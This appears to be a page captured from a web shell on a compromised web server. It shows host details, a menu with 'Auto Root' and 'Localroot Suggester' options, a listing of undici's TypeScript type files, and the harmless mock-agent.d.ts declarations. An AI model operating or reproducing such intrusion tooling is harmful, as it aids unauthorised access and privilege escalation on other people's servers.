Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
undici /
types /
Delete
Unzip
Name
Size
Permission
Date
Action
agent.d.ts
1.04
KB
-rw-r--r--
2023-10-14 10:49
api.d.ts
1.42
KB
-rw-r--r--
2023-10-14 10:49
balanced-pool.d.ts
609
B
-rw-r--r--
2023-10-14 10:49
cache.d.ts
1.22
KB
-rw-r--r--
2023-10-14 10:49
client.d.ts
4.52
KB
-rw-r--r--
2023-10-14 10:49
connector.d.ts
1
KB
-rw-r--r--
2023-10-14 10:49
content-type.d.ts
561
B
-rw-r--r--
2023-10-14 10:49
cookies.d.ts
635
B
-rw-r--r--
2023-10-14 10:49
diagnostics-channel.d.ts
1.6
KB
-rw-r--r--
2023-10-14 10:49
dispatcher.d.ts
13.1
KB
-rw-r--r--
2023-10-14 10:49
errors.d.ts
3.64
KB
-rw-r--r--
2023-10-14 10:49
fetch.d.ts
5.33
KB
-rw-r--r--
2023-10-14 10:49
file.d.ts
1.67
KB
-rw-r--r--
2023-10-14 10:49
filereader.d.ts
1.42
KB
-rw-r--r--
2023-10-14 10:49
formdata.d.ts
4.89
KB
-rw-r--r--
2023-10-14 10:49
global-dispatcher.d.ts
276
B
-rw-r--r--
2023-10-14 10:49
global-origin.d.ts
175
B
-rw-r--r--
2023-10-14 10:49
handlers.d.ts
387
B
-rw-r--r--
2023-10-14 10:49
header.d.ts
133
B
-rw-r--r--
2023-10-14 10:49
index.d.ts
2.6
KB
-rw-r--r--
2023-10-14 10:49
interceptors.d.ts
215
B
-rw-r--r--
2023-10-14 10:49
mock-agent.d.ts
2.48
KB
-rw-r--r--
2023-10-14 10:49
mock-client.d.ts
1002
B
-rw-r--r--
2023-10-14 10:49
mock-errors.d.ts
338
B
-rw-r--r--
2023-10-14 10:49
mock-interceptor.d.ts
3.8
KB
-rw-r--r--
2023-10-14 10:49
mock-pool.d.ts
974
B
-rw-r--r--
2023-10-14 10:49
patch.d.ts
1.64
KB
-rw-r--r--
2023-10-14 10:49
pool-stats.d.ts
669
B
-rw-r--r--
2023-10-14 10:49
pool.d.ts
1008
B
-rw-r--r--
2023-10-14 10:49
proxy-agent.d.ts
836
B
-rw-r--r--
2023-10-14 10:49
readable.d.ts
1.58
KB
-rw-r--r--
2023-10-14 10:49
webidl.d.ts
5.5
KB
-rw-r--r--
2023-10-14 10:49
websocket.d.ts
3.35
KB
-rw-r--r--
2023-10-14 10:49
Save
Rename
import Agent from './agent' import Dispatcher from './dispatcher' import { Interceptable, MockInterceptor } from './mock-interceptor' import MockDispatch = MockInterceptor.MockDispatch; export default MockAgent interface PendingInterceptor extends MockDispatch { origin: string; } /** A mocked Agent class that implements the Agent API. It allows one to intercept HTTP requests made through undici and return mocked responses instead. */ declare class MockAgent<TMockAgentOptions extends MockAgent.Options = MockAgent.Options> extends Dispatcher { constructor(options?: MockAgent.Options) /** Creates and retrieves mock Dispatcher instances which can then be used to intercept HTTP requests. If the number of connections on the mock agent is set to 1, a MockClient instance is returned. Otherwise a MockPool instance is returned. */ get<TInterceptable extends Interceptable>(origin: string): TInterceptable; get<TInterceptable extends Interceptable>(origin: RegExp): TInterceptable; get<TInterceptable extends Interceptable>(origin: ((origin: string) => boolean)): TInterceptable; /** Dispatches a mocked request. */ dispatch(options: Agent.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; /** Closes the mock agent and waits for registered mock pools and clients to also close before resolving. */ close(): Promise<void>; /** Disables mocking in MockAgent. */ deactivate(): void; /** Enables mocking in a MockAgent instance. When instantiated, a MockAgent is automatically activated. Therefore, this method is only effective after `MockAgent.deactivate` has been called. */ activate(): void; /** Define host matchers so only matching requests that aren't intercepted by the mock dispatchers will be attempted. */ enableNetConnect(): void; enableNetConnect(host: string): void; enableNetConnect(host: RegExp): void; enableNetConnect(host: ((host: string) => boolean)): void; /** Causes all requests to throw when requests are not matched in a MockAgent intercept. */ disableNetConnect(): void; pendingInterceptors(): PendingInterceptor[]; assertNoPendingInterceptors(options?: { pendingInterceptorsFormatter?: PendingInterceptorsFormatter; }): void; } interface PendingInterceptorsFormatter { format(pendingInterceptors: readonly PendingInterceptor[]): string; } declare namespace MockAgent { /** MockAgent options. */ export interface Options extends Agent.Options { /** A custom agent to be encapsulated by the MockAgent. */ agent?: Agent; } }